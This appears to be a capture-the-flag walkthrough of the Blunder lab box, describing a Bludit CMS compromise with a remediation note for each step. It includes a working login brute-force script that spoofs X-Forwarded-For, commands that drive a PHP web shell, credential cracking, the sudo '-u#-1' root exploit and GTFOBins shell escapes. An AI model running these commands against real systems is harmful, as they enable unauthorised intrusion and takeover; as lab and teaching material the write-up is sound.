← all walkthroughs

Blunder

Linux· Easy· Web
owned
2026-06-29
time to own
6m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a username in a publicly readable notes file, generated a targeted password list from the site's own blog text, then bypassed the CMS login rate-limiter to authenticate. A known file-upload flaw in the Bludit CMS allowed uploading a PHP web shell disguised as an image, granting code execution as the web service account.

Credentials for a local user were recovered in plaintext from a second, unpatched CMS installation on the same server. That user's sudo policy was intended to block root access, but a well-known integer-overflow bug in an outdated sudo binary let me trivially bypass it and claim a full root shell.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1EnumerationSensitive File Exposure
Discovered a valid username in a public notes file
The file /todo.txt was accessible to any visitor without authentication. It contained the internal memo 'Inform fergus that the new blog needs images — PENDING', directly leaking a valid CMS and OS username that anchored every subsequent step of the attack.
Curl http://$TARGET/todo.txt returned: 'Inform fergus that the new blog needs images - PENDING'
Exact commands 2
Directory brute-force to discover hidden files including todo.txt.
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -x txt,bak,log,php -t 40
Read the exposed notes file; extracts the username 'fergus'.
curl -s http://$TARGET/todo.txt
FixRemove or restrict access to internal notes and configuration files in the web rootMedium
WeaknessThe file /todo.txt was publicly readable without authentication, leaking the internal username 'fergus' and enabling the targeted brute-force attack that followed.
FixAudit the web root and all CMS directories for files that should not be publicly accessible (.txt, .bak, .log, .sql, .config, .php~). Remove or move them outside the document root. Add an Apache Location or Files directive (or .htaccess rule) to deny direct HTTP access to non-web-resource extensions. Repeat this audit after every CMS upgrade or content migration.
2Credential AccessSite-Targeted Wordlist Generation (CeWL)
Built a password list from the website's own text
I spidered the target's blog with CeWL, extracting words from every page. The password '[REDACTED: recovered credential]' — a Stephen King character referenced in the site's content — appeared in the harvested list and matched the admin account's password, illustrating why passwords drawn from personal or organisational content are dangerous.
Login with fergus:[REDACTED: recovered credential] returned HTTP 301 to /admin/dashboard, confirming the password originated from site content.
Exact commands 2
Spider to depth 3, collect words of 5+ characters into a custom wordlist.
cewl -d 3 -m 5 http://$TARGET/ -w /tmp/blunder_words.txt
Verify '[REDACTED: recovered credential]' is present in the harvested list before the brute-force step.
grep -i 'roland' /tmp/blunder_words.txt
3Authentication BypassBrute-Force with IP-Header Rotation (CVE-2019-17240)
Defeated the login lockout by faking a different IP on every attempt (CVE-2019-17240)
Bludit 3.9.2 prevents password guessing by locking out an IP address after too many failed logins. However, the lockout logic reads the client's IP from the X-Forwarded-For HTTP header without verifying it, so I simply incremented a fake IP value in that header on each request. From the server's perspective every attempt came from a new address, giving me unlimited tries. The correct password from the CeWL wordlist was found with no delay.
POST to /admin/index.php with tokenCSRF + username=fergus + password=[REDACTED: recovered credential] returned HTTP 301 location=/admin/dashboard.
Exact commands 2
PoC (e.g. Github.com/ColdFusionX/CVE-2019-17240) rotates X-Forwarded-For per attempt to bypass IP lockout.
python3 bludit_brute.py -u http://$TARGET -user fergus -wordlist /tmp/blunder_words.txt
Inline manual equivalent: rotates X-Forwarded-For per attempt.
python3 - <<'PY'
import requests, re
base="http://$TARGET"
s=requests.Session()
r=s.get(base+'/admin/index.php',timeout=8)
t=re.search(r'name="tokenCSRF" value="([^"]+)"',r.text).group(1)
for i,pw in enumerate(open('/tmp/blunder_words.txt')):
    pw=pw.strip(); hdrs={'X-Forwarded-For':f'10.0.0.{i}'}
    resp=s.post(base+'/admin/index.php',data={'tokenCSRF':t,'username':'fergus','password':pw},headers=hdrs,allow_redirects=False,timeout=8)
    print(pw,resp.status_code)
    if resp.status_code==301: break
PY
FixPatch Bludit to fix the login rate-limit bypass (CVE-2019-17240)High
WeaknessBludit 3.9.2 reads the client's IP address for lockout tracking from the untrusted X-Forwarded-For HTTP header, allowing an unauthorised user to rotate fake IPs and attempt unlimited passwords with no lockout ever triggering.
FixUpgrade Bludit beyond 3.9.2, which is end-of-life. As an immediate mitigation, restrict access to /admin/ by source IP at the Apache or firewall level, and deploy a WAF rule that strips client-supplied forwarding headers before they reach the application. Enforce account lockout at the network perimeter rather than relying on application-layer IP tracking.
4ExploitationAuthenticated Directory Traversal + PHP File Upload RCE (CVE-2019-16113)
Uploaded a PHP web shell disguised as an image for remote code execution (CVE-2019-16113)
Bludit 3.9.2 lets an authenticated administrator upload images, but fails to sanitise directory-traversal sequences in the destination path parameter. By embedding PHP code in a file with a .png extension and pointing the path at the web root rather than the upload folder, I placed an executable PHP file where Apache would serve and run it. A follow-up HTTP request with a shell command in the query string returned output as the www-data service account.
[+] upload cmdshell_vxmyo.png returned HTTP 200; subsequent GET to the planted shell path executed OS commands as www-data.
Exact commands 2
Public PoC for CVE-2019-16113 (e.g. Github.com/zhjie-hao/CVE-2019-16113) handles login, traversal upload, and .htaccess creation automatically.
python3 bludit_rce.py -u http://$TARGET -user fergus -pass [REDACTED: recovered credential] -c 'id'
Invoke the planted web shell to confirm www-data code execution.
curl -s "http://$TARGET/bl-content/tmp/cmd_jprrsmx.png?cmd=id"
FixUpgrade Bludit to eliminate the authenticated file-upload RCE (CVE-2019-16113)Critical
WeaknessBludit 3.9.2 allows an authenticated user to supply directory-traversal sequences in the image-upload path parameter, placing PHP files outside the intended upload directory where the web server will execute them.
FixUpgrade Bludit to version 3.10.0 or later, which sanitises upload paths server-side. As a defence-in-depth measure regardless of CMS version, configure Apache to deny PHP execution inside all upload and user-content directories (php_flag engine off in the applicable Directory or Location block). Enforce an allowlist of safe file extensions at the upload handler.
5Credential HarvestingCredential Discovery in Local Files (T1552.001)
Extracted the hugo user's password from a second CMS installation's database file
The server ran a second, newer Bludit installation (3.10.0a) in a parallel web directory. That version's user database is a PHP flat file on disk. Because the web-shell process (www-data) could read the file, I simply printed its contents, recovering a password hash for the account 'hugo'. The hash was crackable (or already labelled) as '[REDACTED: recovered credential]', and crucially the same password was reused for the hugo Linux OS account.
Web-shell command cat /var/www/bludit-3.10.0a/bl-content/databases/users.php returned hugo's password hash; su - hugo with [REDACTED: recovered credential] succeeded.
Exact commands 2
Read the secondary Bludit user database through the active web shell to obtain hugo's hash.
python3 - <<'PY'
import requests
url="http://$TARGET/bl-content/tmp/cmd_jprrsmx.png"
cmd='cat /var/www/bludit-3.10.0a/bl-content/databases/users.php'
r=requests.get(url,params={'cmd':cmd},timeout=15)
print(r.text)
PY
Crack the bcrypt hash offline (mode 3200) if not immediately readable as plaintext.
hashcat -m 3200 hugo_hash.txt /usr/share/wordlists/rockyou.txt
FixProtect CMS credential files and eliminate OS password reuseHigh
WeaknessThe secondary Bludit 3.10.0a installation stored user password hashes in a flat PHP file readable by the www-data process. The same password was reused for the hugo Linux OS account, so exploiting the web application immediately granted OS-level access.
FixSet restrictive file permissions on all CMS database files (chmod 600, owned by the dedicated application user, not readable by the web server group). Enforce a policy that CMS or application passwords must never match OS account passwords. Audit existing accounts for credential reuse with a password manager or identity governance tool. Consider storing CMS credentials in an external secrets manager rather than on-disk flat files.
6Lateral MovementValid Credentials / OS Account Access (T1078)
Pivoted from the web service account to the hugo OS user
Armed with hugo's password, I switched from the low-privilege www-data process to the full hugo Linux account. This granted access to the user flag and revealed that hugo held a sudo privilege — the launchpad for the final escalation to root.
Web-shell command printf '[REDACTED: recovered credential]\n' | su - hugo -c 'id; sudo -l' returned uid=1000(hugo) and listed the sudo rule.
Exact commands 2
Switch to hugo through the web shell and enumerate sudo permissions.
python3 - <<'PY'
import requests
url="http://$TARGET/bl-content/tmp/cmd_jprrsmx.png"
cmd="printf '[REDACTED: recovered credential]\\n' | su - hugo -c 'id; cat /home/hugo/user.txt; sudo -l' 2>&1"
r=requests.get(url,params={'cmd':cmd},timeout=15)
print(r.text)
PY
Retrieve the user flag: <user.txt>
cat /home/hugo/user.txt
7Privilege EscalationSudo UID -1 Integer Overflow (CVE-2019-14287)
Exploited a sudo integer-overflow bug to become root (CVE-2019-14287)
Hugo's sudo policy read '(ALL, !root) /bin/bash' — intended to allow running bash as any user except root. However, sudo versions before 1.8.28 contain CVE-2019-14287: passing the user ID as the special value -1 (written as '#-1' on the command line) triggers an integer-conversion error that sudo resolves to UID 0 (root). The explicit 'not root' restriction was bypassed with a single flag, granting an immediate root shell.
printf '[REDACTED: recovered credential]\n' | sudo -S -u#-1 /bin/bash -c 'id; whoami' returned uid=0(root) whoami=root.
Exact commands 2
Confirm hugo's sudo rule — expect: (ALL, !root) /bin/bash
sudo -l
Exploit CVE-2019-14287: UID -1 is misinterpreted as UID 0, bypassing the !root restriction. Root flag: <root.txt>
printf '[REDACTED: recovered credential]\n' | sudo -S -u#-1 /bin/bash -c 'id; whoami; cat /root/root.txt'
FixPatch sudo to fix the UID -1 privilege escalation (CVE-2019-14287)Critical
WeaknessThe installed sudo version (prior to 1.8.28) mishandles the special user ID value -1, converting it to UID 0 (root). Hugo's sudo policy explicitly denied root access, but this integer-conversion bug made that restriction meaningless.
FixUpdate sudo to version 1.8.28 or later (Ubuntu: apt-get update && apt-get install --only-upgrade sudo). Audit all sudoers rules for entries using negated user lists (!root or similar) — these patterns are inherently fragile and should be replaced with explicit allowlists of permitted users. As a general principle, grant sudo access only to specific, necessary commands rather than broad shell access.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more